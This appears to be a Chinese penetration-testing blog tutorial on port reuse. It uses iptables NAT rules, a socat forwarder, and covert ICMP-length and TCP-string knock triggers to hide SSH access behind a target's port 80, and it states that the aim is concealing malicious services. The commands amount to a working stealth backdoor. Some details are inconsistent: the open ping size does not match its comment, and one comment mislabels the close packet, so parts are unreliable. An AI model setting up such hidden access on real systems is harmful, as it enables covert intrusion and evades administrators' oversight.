渗透测试之端口复用

本文最后更新于:2024年8月17日 晚上

渗透测试之端口复用

​ 端口复用是指不同而应用程序使用相同的端口进行通讯,在渗透过程中,此种方法可以将正常业务端口复用到恶意流量端口,从而达到隐藏恶意服务的目的。为了实践端口复用的具体流程,这里使用iptables做端口复用。

网络环境

​ 这里目标机器(192.168.78.138)上仅有一个80端口开放网页服务,我们将会使用该端口复用之22端口,使用能够作为ssh进行连接。

iptables根据源地址做端口复用

iptables可以根据源路由的ip地址进行流量重定向,下面命令表示,来自192.168.78.1的访问80端口的请求都重定向至22端口。

1
2
3
4
5
6
7
iptables -t nat -A PREROUTING -s 192.168.78.1 -p tcp --dport 80 -j REDIRECT --to-port 22
# 显示所有nat规则
iptables -t nat -nvL
# 带编号显示所有nat规则
iptables -t nat -nvL --line-number
# 删除nat第一条规则
iptables -t nat -D PREROUTING 1

image-20240817213242390

image-20240817213322475

当然此种方式将会完全转发指定主机通向80端口的流量,如果某些特殊情况下需要访问原80端口的网页,这种方法就不可取了。

iptables根据源地址源端口做端口复用

iptables可以根据源路由的ip地址和端口进行流量重定向,下面命令表示,来自192.168.78.143的33333端口发起的访问80端口的请求都重定向至22端口。

1
iptables -t nat -A PREROUTING -s 192.168.78.143 -p tcp --sport 33333 --dport 80 -j REDIRECT --to-port 22

image-20240817214005661

当然此种方式需要指定发起请求主机的发起端口,我们可以使用socat监听一个本地端口,并进行转发,将发往6666端口所有数据通过33333端口转发出去:

1
nohup socat tcp-listen:6666,fork,reuseaddr tcp:192.168.78.138:80,sourceport=33333,reuseaddr &

直接使用ssh连接6666端口即可。

image-20240817214350388

由上可知,此种方法只允许本地一个端口进行访问,当存在多个链接时,本地端口只有一个,这可能会造成一些混乱与麻烦。

iptables利用ICMP做遥控开关

​ iptables还有一些比较高级的用法,例如在收到某些包时做一些规则操作,这里介绍以下使用icmp做端口转发。

1
2
3
4
5
6
7
8
9
10
#创建端口复用链
iptables -t nat -N LETMEIN
#创建端口复用规则,将流量转发至 22 端口
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
#开启开关,如果接收到一个长为 1139 的 ICMP 包(即整个ip数据包长度),则将来源 IP 添加到加为letmein的列表中
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1139 -m recent --set --name letmein --rsource -j ACCEPT
#关闭开关,如果接收到一个长为 1140 的 ICMP 包(即整个ip数据包长度),则将来源 IP 从 letmein 列表中去掉
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1140 -m recent --name letmein --remove -j ACCEPT
#如果发现 SYN 包的来源 IP 处于 letmein 列表中,将跳转到 LETMEIN 链进行处理,有效时间为 3600
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN

image-20240817220707373

开始端口复用

1
2
#向目标发送一个长度为 1111 的 ICMP 数据包(加上包头28=IP数据包头20+icmp数据包头8,总长度实际为1139)
ping -c 1 -s 1097 192.168.78.138

关闭端口复用

1
2
#向目标发送一个长度为 1112 的 ICMP 数据包(加上包头 28=IP数据包头20+icmp数据包头8,总长度实际为 1140)
ping -c 1 -s 1112 192.168.78.138

image-20240817223958151

iptables利用TCP做遥控开关

1
2
3
4
5
6
7
8
9
10
#创建端口复用链
iptables -t nat -N LETMEIN
#创建端口复用规则,将流量转发至 22 端口
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
#开启开关,如果接收到一个含有sshopen的TCP包,则将来源 IP 添加到加为letmein的列表中
iptables -A INPUT -p tcp -m string --string 'sshopen' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
#关闭开关,如果接收到一个含有sshclose的TCP包,则将来源 IP 从letmein的列表中移除
iptables -A INPUT -p tcp -m string --string 'sshclose' --algo bm -m recent --name letmein --remove -j ACCEPT
#如果发现 SYN 包的来源 IP 处于 letmein 列表中,将跳转到 LETMEIN 链进行处理,有效时间为 3600 秒
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN

image-20240817221803986

开始端口复用

1
2
#向目标发送一个包含sshopen数据包
echo sshopen | socat - tcp:192.168.78.138:80

关闭端口复用

1
2
#向目标发送一个包含sshopen数据包
echo sshclose | socat - tcp:192.168.78.138:80

image-20240817221625321

经过上述介绍,相信你已经初步了解了端口复用的使用方法,iptables的用法还远不止于此,有时间会出一篇文章详细介绍iptables用法。


渗透测试之端口复用
https://genioco.github.io/2024/08/17/Learn/渗透测试之端口复用/
作者
BadWolf
发布于
2024年8月17日
许可协议